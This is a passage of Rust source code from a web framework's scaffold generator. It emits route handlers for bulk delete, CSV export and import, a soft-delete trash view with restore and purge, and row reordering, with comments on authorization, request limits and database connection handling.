if autumn_web::authorization::authorize::<{pascal_name}>({edit_destroy_state_expr}, &session, \"delete\", row)\n \
.await\n \
.is_ok()\n \
{{\n \
allowed.push(row.id);\n \
}}\n \
}}\n"
)
} else {
" let allowed: Vec<i64> = rows.iter().map(|row| row.id).collect();\n".to_owned()
};
format!(
"\n\n/// `POST /{plural}/bulk_delete` — delete every selected row in one submit.\n\
///\n\
/// Reads the index list's repeated `ids` checkboxes into `BulkSelection`\n\
/// (the `ids[]` spelling works too). A malformed body and an empty\n\
/// selection each redirect back with a flash — a list-write endpoint\n\
/// never 400s on bad params. The delete itself routes\n\
/// through the repository's `delete_many`, so soft-delete, model hooks, and\n\
/// `dependent(...)` cascades all apply exactly as they do for the single-row\n\
/// `destroy`; a `dependent(restrict)` violation aborts the whole batch with a\n\
/// 409 and rolls back.\n\
#[secured]\n\
#[post(\"/{plural}/bulk_delete\")]\n\
pub async fn bulk_delete(\n \
{locale_param}flash: Flash,{authz_params}\n \
repo: Pg{pascal_name}Repository,\n \
mut db: {db_ty},\n \
body: Bytes,\n\
) -> AutumnResult<autumn_web::Redirect> {{\n \
// Refuse an oversized selection outright rather than truncating it: a\n \
// silently partial destructive batch is worse than a refused one. Like\n \
// the empty case this redirects with a flash instead of 400ing. The\n \
// count runs before the decode and stops one past the cap, so a\n \
// crafted body never allocates a body's worth of ids.\n \
let submitted = url::form_urlencoded::parse(&body)\n \
.filter(|(key, _)| key == \"ids\" || key == \"ids[]\")\n \
.take(MAX_BULK_IDS + 1)\n \
.count();\n \
if submitted > MAX_BULK_IDS {{\n \
flash\n \
.error({flash_bulk_cap})\n \
.await;\n \
return Ok(autumn_web::Redirect::to(&paths::index()));\n \
}}\n \
// A body that does not decode (a non-integer id, a mixed `ids` and\n \
// `ids[]` spelling) gets a flash, not a 400: a list-write endpoint\n \
// never 400s on bad params.\n \
let Ok(BulkSelection {{ mut ids }}) =\n \
autumn_web::form::from_urlencoded::<BulkSelection>(&body)\n \
else {{\n \
flash.error({flash_bad_selection}).await;\n \
return Ok(autumn_web::Redirect::to(&paths::index()));\n \
}};\n \
// Collapse repeats so the same row is never queued twice. A\n \
// `HashSet` keeps this O(n); the `Vec` keeps the submitted order.\n \
let mut seen: std::collections::HashSet<i64> = std::collections::HashSet::new();\n \
ids.retain(|id| seen.insert(*id));\n \
if ids.is_empty() {{\n \
flash.info({flash_none_selected}).await;\n \
return Ok(autumn_web::Redirect::to(&paths::index()));\n \
}}\n \
// Chunk the pre-flight the way the repository chunks its own id\n \
// queries. `eq_any` binds one parameter per id, and this reads a raw\n \
// body rather than a page-sized selection, so a crafted POST can carry\n \
// far more ids than a backend's placeholder ceiling\n \
// (`autumn_web::repository::MAX_BIND_PARAMS` — 32766 on SQLite). A\n \
// single `eq_any` would then fail the request outright with \"too many\n \
// SQL variables\", never reaching the already-chunked `delete_many`.\n \
// Grown from what the database actually returns, never sized from\n \
// `ids.len()`: that count comes straight off the request body, so\n \
// pre-allocating from it would let a body full of ids that match no\n \
// row reserve memory for rows that do not exist.\n \
let mut rows: Vec<{pascal_name}> = Vec::new();\n \
for chunk in ids.chunks(1000) {{\n \
let mut batch: Vec<{pascal_name}> = {plural}::table\n \
.filter({plural}::id.eq_any(chunk))\n \
{soft_delete_filter}.select({pascal_name}::as_select())\n \
.load(&mut *db)\n \
.await?;\n \
rows.append(&mut batch);\n \
}}\n \
// Release the `Db` extractor's connection before `delete_many` checks out\n \
// its own. `Db` acquires eagerly at extraction and holds until dropped —\n \
// not just for the `&mut *db` borrow above — so keeping it alive here would\n \
// make this handler hold two connections at once: an unconditional stall on\n \
// a pool of one, and a deadlock once enough requests are in the handler\n \
// together on any pool size.\n \
drop(db);\n\
{allowed_block} \
repo.delete_many(&allowed).await?;\n \
flash.success({flash_bulk_deleted}).await;\n \
Ok(autumn_web::Redirect::to(&paths::index()))\n\
}}"
)
} else {
String::new()
};
// Template splice bindings for the generated form struct, its conversion,
// the edit-form seed, and (when present) the datetime parse helper.
let form_struct = &model_form.form_struct;
let into_new_fn = &model_form.into_new_fn;
let from_row_impl = &model_form.from_row_impl;
let parse_datetime_helper = &model_form.datetime_helper;
// `\x` + hex helpers (issue #2330). The encoder serves the form and the
// export; the decoder only the form. Each is emitted only where used: an
// unused `fn` is a `dead_code` warning in the generated app.
let form_has_bytea = fields.iter().any(|f| f.kind == FieldKind::Bytea);
let export_has_bytea = export_enabled
&& all_fields
.iter()
.any(|f| f.kind == FieldKind::Bytea && !f.is_encrypted());
let mut bytea_helpers = String::new();
if form_has_bytea || export_has_bytea {
bytea_helpers.push('\n');
bytea_helpers.push_str(BYTEA_HEX_TO_FN);
}
if form_has_bytea {
bytea_helpers.push('\n');
bytea_helpers.push_str(BYTEA_HEX_FROM_FN);
}
// The `index` handler. When sharded, use `from_shard` explicitly so the generated code
// shows the canonical sharding pattern.
//
// Live (SSE) variant: keep the `<ul>`/`<li>` structure intact. `LiveFragment` renders
// `li id=…` and `insert_swap()` targets `#{plural}-list` via
// `OobSwap::Target(BeforeEnd, …)`, so swapping to `<table>` would make the SSE
// broadcast append `<li>` into a `<table>` at runtime, which is invalid HTML. The
// table migration for the live path waits on `LiveFragment` supporting `<tr>`
// fragments. Non-live variants use `data_table`, so the index shows real fields out of
// the box with no hand-authored `<table>`/`<th>`/`<td>` tags.
let li_render = if live {
format!(
r#"li id=(format!("{snake_name}-{{}}", row.id)) {{ a href=(paths::show(row.id)) {{ "{pascal_name} #{{}}" (row.id) }} }}"#
)
} else {
String::new() // unused in the non-live path
};
// For the live path we keep the original <ul> list so the SSE OOB-swap
// contract remains valid.
let live_ul_render = if live {
format!(
r#"@if page_req.page() == 1 {{
ul id="{plural}-list" hx-ext="sse" sse-connect=(paths::events()) sse-swap="message" hx-swap="none" {{
@for row in &page_data.content {{
{li_render}
}}
}}
}} @else {{
ul id="{plural}-list" {{
@for row in &page_data.content {{
{li_render}
}}
}}
}}"#
)
} else {
String::new()
};
// #1315: the `CsvSchema` impl and `GET /{plural}/export.csv` download, emitted straight
// after the index — and `bulk_delete` — it exports, so an author reading the module
// top to bottom meets the schema and then the route that streams it, right where the
// list lives. The impl lives here rather than in `src/models/{snake}.rs` on purpose:
// the orphan rule is satisfied either way, since the model type is crate-local, and
// keeping it beside its only consumer means the whole feature — impl, route, link,
// Cargo feature — is gated in one place. Move it to the model module if a second
// consumer appears, such as an `import_csv` route or an `autumn data export` task.
let export_csv_fn = if export_enabled {
let schema_impl = render_csv_schema_impl(pascal_name, all_fields);
// AC5: mirror the index's posture exactly. The owner-scoped index is
// `#[secured]` and resolves its owner from the same `PolicyContext` the
// mutating handlers authorize against; the plain index carries neither.
// #2185: one count-free read, so the file comes from one snapshot.
let (secured_attr, authz_params, owner_let, rows_call) = if owner_scoped_standard {
(
"#[secured]\n",
format!("{authz_params_full},"),
" let ctx = autumn_web::authorization::PolicyContext::from_request(&state, &session).await;\n \
let owner_id = ctx.user_id_i64().unwrap_or(-1);\n",
"list_scoped_rows(owner_id, &list_query, MAX_EXPORT_ROWS + 1)",
)
} else {
(
"",
String::new(),
"",
"list_rows(&list_query, MAX_EXPORT_ROWS + 1)",
)
};
// Laid out as rustfmt lays it out. The scoped chain is longer than
// `chain_width` (60), so it always breaks at each call. The plain chain is
// shorter: it stays on one line when that fits in 100 columns, and else
// moves below the `=`.
let head = format!("let mut rows: Vec<{pascal_name}> =");
let rows_let = if owner_scoped_standard {
format!("{head} repo\n .{rows_call}\n .await?;")
} else if 4 + head.len() + " repo.".len() + rows_call.len() + ".await?;".len() <= 100 {
format!("{head} repo.{rows_call}.await?;")
} else {
format!("{head}\n repo.{rows_call}.await?;")
};
// Issue #1319's search box swaps results in via htmx WITHOUT pushing a
// URL, so the index's query string — and therefore this export's — never
// carries the search term, and `ListQuery` has no field for one. Say so
// in the emitted docs rather than let the "matches the filtered view"
// sentence above quietly overpromise on a searchable scaffold.
// Built with `format!`, not spliced as a literal: this fragment names the
// resource's own search route, and the OUTER `format!` does not expand
// placeholders inside an already-substituted value — a `{plural}` left in
// a plain `&str` here would reach the user's source verbatim.
let search_note = if search_enabled {
format!(
"///\n\
/// NOT included: the `/{plural}/search` term. `ListQuery` carries sort\n\
/// and column filters, not a full-text query, and the search box swaps\n\
/// its results in without changing the URL — so a search on screen does\n\
/// not narrow this download.\n\
///\n\
/// The index therefore renders its \"Export CSV\" link INSIDE the\n\
/// `#{plural}-search-results` container, not beside \"New …\": the swap\n\
/// that shows search results removes the link along with the rows it\n\
/// described. Left outside, it would survive the swap still pointing\n\
/// here, and a user who had narrowed the list would download the rows\n\
/// they just excluded. If you move that link back out to page\n\
/// furniture, wire `q` through to this handler in the same change.\n\
///\n\
/// To offer an export of searched rows, take `q` here and call the\n\
/// repository's `search_page`, then render a link carrying the term\n\
/// from the search fragment as well as the index.\n"
)
} else {
String::new()
};
let scope_note = if owner_scoped_standard {
"///\n\
/// Rows are read through the repository's OWNER-SCOPED `list_scoped_rows`,\n\
/// which applies the same owner filter as the index's `list_scoped`. This\n\
/// handler never calls an unscoped read, so the download can never contain\n\
/// another user's rows.\n"
} else {
""
};
format!(
"{schema_impl}\n\
/// The most rows one `GET /{plural}/export.csv` will return.\n\
///\n\
/// The handler reads one row PAST this, so it can tell a full export\n\
/// from a truncated one. It removes that row before it writes the CSV.\n\
///\n\
/// This bounds the ROW COUNT, which bounds memory only as far as your\n\
/// widest row: the response is collected in memory before it is sent, so\n\
/// a model with an unbounded `Text` column can still build a large body\n\
/// here. Put a `{{max}}` length on such columns, lower this constant, or —\n\
/// for a genuinely unbounded export — stream the rows straight into\n\
/// the response body with `Download::from_stream` instead of collecting\n\
/// them first.\n\
const MAX_EXPORT_ROWS: usize = 10_000;\n\n\
/// `GET /{plural}/export.csv` — the list view as an RFC 4180 CSV download.\n\
///\n\
/// Honours the SAME allowlisted `?sort=`/`?filter[col]=` params as `index`\n\
/// (the shared [`ListQuery`] extractor), so the file matches the filtered\n\
/// view the \"Export CSV\" link was clicked from rather than the whole\n\
/// table. `?page=`/`?size=` are ignored on purpose: an export spans every\n\
/// page of the current filter.\n\
///\n\
/// Rows come from ONE repository read, capped at `MAX_EXPORT_ROWS` plus\n\
/// one row to detect truncation. One statement reads one snapshot, so a\n\
/// row inserted or deleted during the export cannot appear twice or go\n\
/// missing. If you set `database.statement_timeout`, the whole read must\n\
/// finish in that time. `Content-Type`, `Content-Disposition` and\n\
/// `Content-Length` come from `Download`, which infers `text/csv` from the\n\
/// `.csv` filename and sanitizes the name.\n\
///\n\
/// COST, not row-set, is why this carries a `#[throttle]` the index does\n\
/// not. One export loads up to `MAX_EXPORT_ROWS` rows and builds the whole\n\
/// file in memory. One index page loads up to `MAX_PAGE_SIZE` rows. On a\n\
/// large table, lower `MAX_EXPORT_ROWS`, tighten this throttle, or put the\n\
/// route behind auth.\n\
///\n\
/// The limit applies per client address and is independent of\n\
/// `security.rate_limit.enabled` (that flag governs the GLOBAL limiter);\n\
/// raise it freely for an internal back-office.\n\
///\n\
/// AUTHORIZATION is the index's, not `show`'s: like the index, this lists\n\
/// rows without calling `authorize(.., \"show\", &row)` per record. If you\n\
/// tighten `can_show` in the generated policy so some rows are hidden on\n\
/// their detail page, filter them out of BOTH the index query and this\n\
/// one — a per-row rule the list path does not apply is not enforced.\n\
{search_note}{scope_note}{secured_attr}\
#[get(\"/{plural}/export.csv\")]\n\
#[autumn_web::throttle(limit = 6, per = \"1m\", key = \"ip\")]\n\
pub async fn export_csv(\n \
list_query: ListQuery,{authz_params}\n \
repo: Pg{pascal_name}Repository,\n\
) -> AutumnResult<autumn_web::reexports::axum::response::Response> {{\n \
use autumn_web::reexports::axum::response::IntoResponse as _;\n\
{default_sort_let}{owner_let} \
// One row past the cap: a set of exactly MAX_EXPORT_ROWS rows then does\n \
// not look truncated, and a larger set does.\n \
{rows_let}\n \
// Truncate rather than fail: a partial spreadsheet beats a 500. But a\n \
// SILENTLY partial one is a trap for anyone exporting to reconcile, so\n \
// say so twice — once in the log for the operator, once in a response\n \
// header the client can see. Narrow the filter, or raise\n \
// `MAX_EXPORT_ROWS`. (A marker row inside the CSV is not an option: it\n \
// would parse as data.)\n \
let truncated = rows.len() > MAX_EXPORT_ROWS;\n \
if truncated {{\n \
autumn_web::reexports::tracing::warn!(\n \
cap = MAX_EXPORT_ROWS,\n \
rows = rows.len(),\n \
\"{plural} CSV export hit MAX_EXPORT_ROWS; the download is truncated\"\n \
);\n \
rows.truncate(MAX_EXPORT_ROWS);\n \
}}\n \
let mut body: Vec<u8> = Vec::new();\n \
autumn_web::data::csv::export_csv(rows, &mut body)?;\n \
let mut response = autumn_web::download::Download::from_bytes(body)\n \
.filename(\"{plural}.csv\")\n \
.into_response();\n \
if truncated {{\n \
response.headers_mut().insert(\n \
\"x-export-truncated\",\n \
autumn_web::reexports::http::HeaderValue::from_static(\"true\"),\n \
);\n \
}}\n \
Ok(response)\n\
}}\n"
)
} else {
String::new()
};
// Issue #1393: the CSV import surface — upload form, dry-run preview, commit.
// Emitted straight after the export it mirrors, so the two directions of the
// same data door read together, and gated on the same predicate: both go
// through the one `CsvSchema` impl above.
let csv_import_fn = if import_enabled {
// The import writes rows, so it authorizes exactly as `create` does:
// context-only `authorize_create`, once for the submit. It carries no
// `state:` wrapper of its own, so it takes the full extractor pair.
let (authz_params, authz_call) = if authorize {
(
format!("{authz_params_full},"),
format!(
"autumn_web::authorization::authorize_create::<{pascal_name}>(&state, &session).await?;\n "
),
)
} else {
(String::new(), String::new())
};
// The same filter `render_csv_schema_impl` applies when it decides which
// cells go through `csv_text_cell`: an at-rest encrypted column is
// excluded from the export entirely, so it cannot contribute a guarded
// cell. `id` and `created_at` are typed, so they never appear here.
let text_columns: Vec<&str> = all_fields
.iter()
.filter(|f| !f.is_encrypted() && csv_kind_is_text(f.kind))
.map(|f| f.name.as_str())
.collect();
// Every boolean column the export writes, with whether a blank cell means false:
// true for a non-nullable column, an unchecked checkbox, and false for a nullable
// one, where a blank is NULL rather than `false`.
//
// Exported columns with no field on `{Pascal}Form`, so an import can never set
// them: `id` and `created_at`, which the database assigns; an `Attachment`, since
// a storage key in a cell is not a file; and any column dropped from the form,
// such as a `--default`ed one. Computed as the difference rather than listed by
// kind, so it stays right whatever the form's own exclusions become.
//
// Columns `{Pascal}Form` carries and the import can faithfully set.
// `Attachment` is excluded because a storage key in a cell is not a file.
// `Bytea` is settable: the export writes `\x` + hex and the form decodes it
// (issue #2330).
//
// Excluded means: named on the upload page as a column the import cannot set,
// listed in `CSV_DISCARDED_COLUMNS` so the report says so when a file supplies
// one, and absent from `csv_required_columns()` so a file that omits it is accepted.
let form_carried: BTreeSet<&str> = fields
.iter()
.filter(|f| !f.kind.is_attachment())
.map(|f| f.name.as_str())
.collect();
let mut ignored_columns: Vec<&str> = vec!["id"];
ignored_columns.extend(
all_fields
.iter()
.filter(|f| !f.is_encrypted() && !form_carried.contains(f.name.as_str()))
.map(|f| f.name.as_str()),
);
ignored_columns.push("created_at");
// The exact complement of `ignored_columns` within `csv_columns()`: every
// exported column the form CAN set. Derived from the same `form_carried`
// set, so the two lists can never disagree about a column.
let settable_columns: Vec<&str> = all_fields
.iter()
.filter(|f| !f.is_encrypted() && form_carried.contains(f.name.as_str()))
.map(|f| f.name.as_str())
.collect();
let bool_columns: Vec<(&str, bool)> = all_fields
.iter()
.filter(|f| f.kind == FieldKind::Bool && !f.is_encrypted())
.map(|f| (f.name.as_str(), !f.nullable))
.collect();
render_csv_import_section(
pascal_name,
plural,
snake_name,
layout_fn,
&cp(&format!("/{plural}/import")),
flash_arg,
&authz_params,
&authz_call,
&text_columns,
&ignored_columns,
&settable_columns,
&bool_columns,
labels,
)
} else {
String::new()
};
// Issue #1332: the trash view + its Restore/Purge handlers. Emitted straight
// after the index (and its bulk/export companions) because the Trash link is
// index furniture and the page it opens is the same list, filtered to the
// rows `destroy` marked deleted.
let trash_section = if trash_enabled {
// The trash table's own columns, deliberately not the index's:
//
// * `use_label_maps = false` — a reference column renders the raw foreign key
// rather than the parent's label, so this handler needs no `Db` extractor
// purely to run label loads for a recycle bin;
// * `sortable = false` — this handler extracts no `ListQuery`, since the
// `only_deleted` scope orders `id DESC` and takes no sort, and a sortable
// header would render a link that reloads the identical list while stamping an
// `aria-sort` that never changes.
//
// Rebound as `mut` so the two trash-only columns can be pushed after it.
let trash_columns = render_columns_vec(
backend,
pascal_name,
snake_name,
fields,
&reference_displays,
false,
route_key_field,
false,
labels,
)
.replacen(" let columns:", " let mut columns:", 1);
// Restore and Purge act on the row the trash page just listed, so they
// record-authorize it exactly as `destroy` does — same `"delete"` action,
// same extractor pair. Moving a row into or out of the trash is the same
// authority as deleting it, and `Policy::can` fails closed on any action
// name it does not know, so inventing a "restore" action here would deny
// every request against a hand-written policy.
let trash_authz_params = if authorize {
format!("{edit_destroy_authz_params},")
} else {
String::new()
};
let trash_authz_call = if authorize {
format!(
" autumn_web::authorization::authorize::<{pascal_name}>({edit_destroy_state_expr}, &session, \"delete\", &row).await?;\n"
)
} else {
String::new()
};
// The guard load both handlers share. It is the one place either handler touches
// `deleted_at` directly, and it is not a substitute for the `only_deleted` scope
// the list reads through — it is a precondition:
//
// * `purge` is the only hard delete in the generated app, and the repository's
// `purge(id)` deletes whatever row carries that id, trashed or not. Without
// this filter a crafted POST would hard-delete a live row, straight past the
// soft-delete tunnel the feature exists to provide;
// * a row that is not in the trash cannot be restored from it, so both handlers
// answer 404 rather than report success for a no-op;
// * the loaded row is what the record policy authorizes against.
let trash_guard_load = format!(
" let row: {pascal_name} = {plural}::table\n \
.{find_expr}\n \
.filter({plural}::deleted_at.is_not_null())\n \
.select({pascal_name}::as_select())\n \
.first(&mut *db)\n \
.await\n \
.map_err(AutumnError::not_found)?;\n"
);
// Release the `Db` extractor's connection before the repository checks
// out its own. `Db` acquires eagerly at extraction and holds until
// dropped, so keeping it alive across the repository call would make
// these handlers hold two connections at once — an unconditional stall
// on a pool of one (same reasoning as `bulk_delete`).
let cp_trash = cp(&format!("/{plural}/trash"));
// The soft-delete column's table header, title-cased the same way every
// other index column header is (`title_case`), so the trash table reads
// like the list it mirrors.
let deleted_at_header = title_case("deleted_at");
// #1349: the trash view's own strings.
//
// The two extra `Column`s take `let` bindings, exactly like the `l_col_*` headers
// `render_columns_vec` emits: `Column<'a, T>` holds its header as `&'a str` and
// both are pushed into a `columns` vec that outlives the statement, so an inline
// `&t!(…)` would be a temporary dropped at the end of the `insert`/`push` (E0716).
// `confirm_action`'s per-row title and its config are consumed inside one statement
// and can stay inline. The bindings are spliced before the `columns` vec, not
// after: locals drop in reverse declaration order, so a label declared after the
// vec it is borrowed into would be dropped first (E0597).
let (deleted_at_header_expr, actions_header_expr, trash_label_binds) = if labels.enabled() {
(
"&l_trash_deleted_at".to_owned(),
"&l_trash_actions".to_owned(),
format!(
" let l_trash_deleted_at = {};\n let l_trash_actions = {};\n",
labels.lit("common.field.deleted_at", &deleted_at_header),
labels.lit("common.actions", "Actions"),
),
)
} else {
(
format!("\"{deleted_at_header}\""),
"\"Actions\"".to_owned(),
String::new(),
)
};
let purge_title_expr = labels.expr(
&format!("{snake_name}.purge.confirm"),
&format!("Permanently delete {snake_name} {{ $id }}?"),
&format!(
"format!(\"Permanently delete {snake_name} {{}}?\", {route_key_display_expr})"
),
&[("id", &format!("&({route_key_display_expr}).to_string()"))],
);
let purge_warning = labels.markup(
"common.purge.warning",
"This action cannot be undone. Restore it instead if you might need it later.",
);
let (purge_cancel_bind, purge_cancel) = if labels.enabled() {
(
format!(
"let purge_cancel = {};\n ",
labels.lit("common.cancel", "Cancel")
),
"\n .cancel_label(&purge_cancel)".to_owned(),
)
} else {
(String::new(), String::new())
};
let restore_button = labels.lit("common.restore", "Restore");
let purge_button = labels.lit_ref("common.purge", "Purge");
let trash_title = labels.lit_ref(
&format!("{snake_name}.trash.title"),
&format!("{pascal_name} trash"),
);
let trash_heading = labels.markup(
&format!("{snake_name}.trash.heading"),
&format!("Deleted {pascal_name}s"),
);
let trash_empty = labels.lit_ref("common.trash.empty", "Trash is empty.");
format!(
r#"
/// `GET /{plural}/trash` — the Trash view for soft-deleted {snake_name}s (issue #1332).
///
/// Lists the rows the delete button marked deleted, read through the
/// repository's generated `page_only_deleted` — the paginated form of the
/// `only_deleted` scope `#[repository(..., soft_delete)]` emits — so "deleted"
/// is defined in exactly one place and this page can never drift from what the
/// index hides. Each row offers Restore (undo) and Purge (the only hard delete
/// in this application).
#[secured]
#[get("/{plural}/trash")]
pub async fn trash(
{locale_param}page_req: PageRequest,
repo: Pg{pascal_name}Repository,
flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
) -> AutumnResult<Markup> {{
let page_data: Page<{pascal_name}> = repo.page_only_deleted(&page_req).await?;
// Purge is irreversible, so it goes through the framework's server-rendered
// confirm dialog rather than an inline `window.confirm` handler: the default
// CSP is `script-src 'self'` with no `'unsafe-inline'`, which blocks an
// inline event attribute outright — the form would submit with no prompt at
// all, which is worse than promising one. `confirm_action` renders a
// `<dialog>` driven by the `autumn-widgets.js` the generated layout already
// loads, plus a `<noscript>` fallback so the action stays reachable without
// JavaScript.
let purge_csrf = csrf.as_ref().map(|token| token.token()).unwrap_or_default();
{trash_label_binds}{trash_columns} // The `{deleted_at_header}` stamp goes BEFORE the trailing "Show" link column that
// `columns` ends with, so the data columns stay together and the two link
// columns stay at the end of the row.
columns.insert(
columns.len() - 1,
autumn_web::widgets::Column::new({deleted_at_header_expr}, |row: &{pascal_name}| maud::html! {{ (row.deleted_at.as_ref().map(ToString::to_string).unwrap_or_default()) }}),
);
columns.push(autumn_web::widgets::Column::new({actions_header_expr}, |row: &{pascal_name}| {{
// Titled per row rather than once for the whole page: a page-sized
// trash renders one dialog per row, and identical titles would put a
// run of indistinguishable `<h2>`s in the heading outline — and leave
// the person confirming an irreversible delete with nothing on screen
// saying WHICH {snake_name} they are about to destroy.
let purge_title = {purge_title_expr};
{purge_cancel_bind}let purge_confirm = autumn_web::widgets::ConfirmActionConfig::new()
.title(&purge_title){purge_cancel}
.message(maud::html! {{ p {{ {purge_warning} }} }});
let purge_confirm = match csrf_field.as_ref() {{
Some(field) => purge_confirm.csrf_field(field.0.as_str()),
None => purge_confirm,
}};
maud::html! {{
form action=(paths::restore({route_key_display_expr})) method="post" {{
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))
(autumn_web::a11y::Button::new({restore_button}).submit())
}}
(autumn_web::widgets::confirm_action(
&format!("purge-{{}}", row.id),
{purge_button},
&paths::purge({route_key_display_expr}),
autumn_web::reexports::http::Method::POST,
purge_csrf,
&purge_confirm,
))
}}
}}));
Ok({layout_fn}({trash_title}, {cp_trash}{flash_arg}, html! {{
h1 {{ {trash_heading} }}
(autumn_web::a11y::Link::new(paths::index(), {back_to_list}))
(autumn_web::widgets::data_table(&page_data.content, &columns, &autumn_web::widgets::DataTableConfig::new({trash_empty}).base_path(&paths::trash())))
(pagination_nav(&page_data, &PagerOptions::new(&paths::trash()){pager_labels}))
}}))
}}
/// `POST /{plural}/{{{id_url_segment}}}/restore` — put a trashed {snake_name} back.
///
/// Clears `deleted_at` through the repository's generated `restore`, so the row
/// reappears in the index (which filters `deleted_at IS NULL`) and drops out of
/// the trash. 404s for a {snake_name} that is not in the trash.
#[secured]
#[post("/{plural}/{{{id_url_segment}}}/restore")]
pub async fn restore(
{locale_param}{id_param_decl},
mut db: {db_ty},
repo: Pg{pascal_name}Repository,
flash: Flash,{trash_authz_params}
) -> AutumnResult<autumn_web::Redirect> {{
{trash_guard_load}{trash_authz_call} drop(db);
repo.restore(row.id).await?;
// The redirect lands back on the Trash page (the row is gone from it), so
// the flash has to say where the {snake_name} actually went.
flash.success({flash_restored}).await;
Ok(autumn_web::Redirect::to(&paths::trash()))
}}
/// `POST /{plural}/{{{id_url_segment}}}/purge` — permanently delete a trashed {snake_name}.
///
/// The ONLY hard delete in this application: every other path marks
/// `deleted_at`. Routed through the repository's generated `purge`, and reached
/// only for a row that was in the trash when this request loaded it — so a
/// {snake_name} cannot be destroyed here without having been soft-deleted first.
///
/// SECURITY: this is irreversible and is authorized by exactly the same
/// `"delete"` policy check as the recoverable `destroy`. If permanent deletion
/// should be a higher bar in your app — admins only, or a re-authentication
/// step — tighten it in `{pascal_name}Policy` or add `#[reauthenticate]` here;
/// the generated policy authorizes any authenticated user by default.
///
/// The trash-membership check and the delete run on separate connections (the
/// repository takes its own), so a `restore` that commits in between means this
/// hard-deletes a row that just became live again. Nobody can reach the delete
/// without the row having been trashed, but if losing that race is unacceptable,
/// replace the `purge` call with a filtered `diesel::delete(… .filter(
/// {plural}::deleted_at.is_not_null()))` on this handler's own connection.
#[secured]
#[post("/{plural}/{{{id_url_segment}}}/purge")]
pub async fn purge(
{locale_param}{id_param_decl},
mut db: {db_ty},
repo: Pg{pascal_name}Repository,
flash: Flash,{trash_authz_params}
) -> AutumnResult<autumn_web::Redirect> {{
{trash_guard_load}{trash_authz_call} drop(db);
repo.purge(row.id).await?;
flash.success({flash_purged}).await;
Ok(autumn_web::Redirect::to(&paths::trash()))
}}
"#
)
} else {
String::new()
};
// Issue #1358: the position field's `move_up`/`move_down` no-JS button
// targets. Authorized identically to `edit_form`/`update` ("edit" action,
// record policy) since moving a row is a content mutation, not a
// deletion — reuses `edit_destroy_authz_params`/`authz_edit_call` rather
// than inventing a third authorization shape.
let reorder_section = if reorder_enabled {
format!(
r#"
/// `POST /{plural}/{{{id_url_segment}}}/move_up` — move a {snake_name} one position toward the start of its list.
#[secured]
#[post("/{plural}/{{{id_url_segment}}}/move_up")]
pub async fn move_up(
{locale_param}{id_param_decl},
mut db: {db_ty},
repo: Pg{pascal_name}Repository,
flash: Flash,{edit_destroy_authz_params}
) -> AutumnResult<autumn_web::Redirect> {{
let row: {pascal_name} = {plural}::table
.{find_expr}
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{authz_edit_call}drop(db);
repo.move_up(row.id).await?;
flash.success({flash_moved}).await;
Ok(autumn_web::Redirect::to(&paths::index()))
}}
/// `POST /{plural}/{{{id_url_segment}}}/move_down` — move a {snake_name} one position toward the end of its list.
#[secured]
#[post("/{plural}/{{{id_url_segment}}}/move_down")]
pub async fn move_down(
{locale_param}{id_param_decl},
mut db: {db_ty},
repo: Pg{pascal_name}Repository,
flash: Flash,{edit_destroy_authz_params}
) -> AutumnResult<autumn_web::Redirect> {{
let row: {pascal_name} = {plural}::table
.{find_expr}
.select({pascal_name}::as_select())
.first(&mut *db)
.await
.map_err(AutumnError::not_found)?;
{authz_edit_call}drop(db);
repo.move_down(row.id).await?;
flash.success({flash_moved}).await;
Ok(autumn_web::Redirect::to(&paths::index()))
}}
"#
)
} else {
String::new()
};
// For non-live paths, generate the data_table columns and call. Both the plain and
// sharded index promote displayable `references` columns to render the parent's label
// from a per-view label map (#1146, `index_columns_labeled` plus `index_label_loads`):
// the sharded index handler already threads a `ShardedDb`, its `{name}_select_options`
// loaders are generated with `db_ty` (`ShardedDb`), and the sharded `show` handler
// already loads labels through the same connection, so the index reuses that mechanism
// rather than falling back to raw ids. Only the `--live` SSE list, a `<ul>` of ids with
// no data table, keeps id rendering.
//
// #1126: sort and filter — the `ListQuery` extractor, `repo.list(..)`, and sortable
// `data_table` headers — are likewise gated off for the `--live` variants: their `<ul>`
// has no column headers to hang sort links on, and the SSE OOB-swap contract owns the
// list DOM. The `--live` index keeps the plain `repo.page(&page_req)` call.
// `--live-validation` without `--live` renders the normal data_table index, so it does
// get sort and filter.
let columns_let = if live {
String::new()
} else {
render_columns_vec(
backend,
pascal_name,
snake_name,
fields,
&reference_displays,
false,
route_key_field,
true,
labels,
)
};
let index_label_loads = if live {
String::new()
} else {
render_index_reference_label_loads(&display_reference_fields, &reference_displays)
};
// The plain index gains `mut db: Db` only when there is a label map to load
// (otherwise an unused extractor); the sharded index always has a
// `ShardedDb` (for `from_shard`), promoted to `mut` when it must also run
// the loader.
let index_db_param = if index_label_loads.is_empty() {
""
} else {
"mut db: Db,\n "
};
let sharded_index_db = if index_label_loads.is_empty() {
"db: ShardedDb"
} else {
"mut db: ShardedDb"
};
let index_columns_labeled = if index_label_loads.is_empty() {
columns_let
} else {
render_columns_vec(
backend,
pascal_name,
snake_name,
fields,
&reference_displays,
true,
route_key_field,
true,
labels,
)
};
// Issue #1312: the shared columns prelude the index AND the search-results
// fragment both splice, so a searched list keeps its row checkboxes. The
// config is bound BEFORE the columns vec (and the action `String` before
// it): the inserted column's cell closure borrows `bulk_cfg`, so `columns`
// must be dropped first — declaring it after keeps the borrow well-ordered.
let index_columns_labeled = if bulk_delete_enabled {
let with_mut =
index_columns_labeled.replacen(" let columns:", " let mut columns:", 1);
format!(
" let bulk_action = paths::bulk_delete();\n \
{bulk_label_binds}let bulk_cfg = autumn_web::widgets::BulkActionsConfig::new(&bulk_action){bulk_labels};\n\
{with_mut} \
columns.insert(0, autumn_web::widgets::Column::new(\"\", |row: &{pascal_name}| maud::html! {{ (autumn_web::widgets::bulk_select_checkbox(row.id, &bulk_cfg)) }}));\n"
)
} else {
index_columns_labeled
};
// Issue #1358: the position field's no-JS Move up / Move down buttons —
// each a tiny CSRF- and submit-token-protected `POST` form, following the
// exact pattern the trash view's Restore button uses (`csrf_input` +
// `submit_token_input` inside a bare `form method="post"`). Appended
// after the bulk-delete checkbox column (if also present) so both
// features compose without either one clobbering the other's insert.
let index_columns_labeled = if reorder_enabled {
let with_mut =
index_columns_labeled.replacen(" let columns:", " let mut columns:", 1);
format!(
"{with_mut} \
columns.push(autumn_web::widgets::Column::new(\"\", |row: &{pascal_name}| maud::html! {{\n\
